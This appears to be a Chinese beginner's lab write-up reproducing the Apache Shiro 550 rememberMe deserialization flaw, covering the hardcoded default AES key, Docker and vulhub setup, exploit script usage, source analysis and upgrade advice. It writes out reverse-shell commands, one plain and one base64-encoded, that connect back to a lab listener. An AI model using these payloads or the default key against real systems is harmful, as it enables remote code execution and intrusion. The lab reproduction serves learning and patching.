shiro550漏洞复现与研究

robots

前言:就像雨总会停,雾总会散,同样地没有谁会一直失败。

一、漏洞描述

1.shiro概述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

2.漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

3.漏洞发现

1、检索RememberMe cookie 的值

2、Base 64解码

3、使用AES解密(加密密钥硬编码)

4、进行反序列化操作(未作过滤处理)

4.shiro序列化利用条件

由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

 

二.漏洞复现

1.环境搭建

获取docker镜像

docker pull medicean/vulapps:s_shiro_1

重启docker

systemctl restart docker

启动docker镜像:

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问:

验证

抓包分析

2.漏洞利用(1)—脚本攻击

1. 下载shiro利用脚本,下载地址https://github.com/zhzyker/shiro-1.2.4-rce

2 . 使用工具进行验证

python3 shiro-1.2.4_rce.py http://10.10.10.128:8081/login

3.使用linux进入linuxshell模式。

  1. windos : bash -i >& /dev/tcp/10.10.10.128:8080/ 0>&1

linux系统需要编码之后,绕后再进行nc反弹。

http://www.jackson-t.ca/runtime-exec-payloads.html

5.然后使用nc反弹

漏洞利用(2)—自动化工具攻击

1.选择shiro550

2.然后使用ceye.io进行利用

3.验证key值

4.检测到漏洞,然后使用nc反弹shell

5.然后监听到shell。

漏洞利用方式3:burp插件

感谢作者(pmiaowu)提供的插件。

下载地址:https://github.com/pmiaowu/BurpShiroPassiveScan

 

三.vulhub环境复现

1.启动环境

2.访问主页

3.使用脚本进行漏洞检测

4.查看命令是否成功

4.使用命令:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

反弹shell

5.执行命令

6.反弹成功,拿到权限。

 

四、漏洞原理分析

原理分析:根据shiro报告分析可以得到,主要存在几个重要的点:

rememberMe cookie

CookieRememberMeManager.java

Base64

AES

加密密钥硬编码

Java serialization

1.首先正常登录,然后生成带有rememberme的返回cookie值。

2.生成cookie,shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager

3.之后进入serialize,对登录认证信息进行序列化

4.然后加密,调用aes算法。

5.加密结束,然后在在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

6.解析cookie

7.先解密在反序列化

8.AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码

9.调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager()这里用的是默认反序列化类,然后触发生成反序列化。

 

五、修复建议:

Apache Shiro 1.2.5以下版本,建议抓紧升级shiro的版本,另一个修复建议就是将默认Key加密改为生成随机的Key加密。

 

总结:

web渗透不只有owasp10常见的一些漏洞,我们还需要学习一些框架的漏洞还有一些中间件的漏洞,自己的知识面广了,自己的渗透路就会更加宽阔。本文为初学者对中间件漏洞的一些理解。会的大佬跳过哈。

(完)